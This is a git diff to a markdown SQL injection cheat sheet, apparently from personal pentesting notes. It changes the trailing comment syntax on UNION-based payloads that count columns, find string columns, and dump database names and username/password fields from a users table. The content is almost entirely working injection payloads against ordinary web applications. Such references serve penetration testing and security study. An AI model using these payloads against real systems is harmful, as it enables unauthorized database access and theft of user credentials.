diff --git a/Exploits/Databases/SQL Injection.md b/Exploits/Databases/SQL Injection.md
index 28e5794..f0c734d 100644
--- a/Exploits/Databases/SQL Injection.md	
+++ b/Exploits/Databases/SQL Injection.md	
@@ -85,24 +85,24 @@ Check the number of columns by inserting NULL values one after another.
 
 * Check number of cols
 ```sql
-' UNION SELECT NULL--
-' UNION SELECT NULL,NULL--
-' UNION SELECT NULL,NULL,NULL--
+' UNION SELECT NULL-- -
+' UNION SELECT NULL,NULL-- -
+' UNION SELECT NULL,NULL,NULL-- -
 # until the error occurs
 ```
 
 * Check which one contains String values
 ```sql
-' UNION SELECT 'a',NULL,NULL,NULL--
-' UNION SELECT NULL,'a',NULL,NULL--
-' UNION SELECT NULL,NULL,'a',NULL--
-' UNION SELECT NULL,NULL,NULL,'a'--
+' UNION SELECT 'a',NULL,NULL,NULL -- -
+' UNION SELECT NULL,'a',NULL,NULL -- -
+' UNION SELECT NULL,NULL,'a',NULL -- -
+' UNION SELECT NULL,NULL,NULL,'a' -- -
 ```
 
 * Retrieve content, for cols as an example, or dump database
 ```sql
-' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
-' UNION SELECT NULL,username,password,NULL FROM users -- //
+' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
+' UNION SELECT NULL,username,password,NULL FROM users -- - //
 ```
 
 * Retrieve content by union poking the count and order of columns, afterwards extracting tables via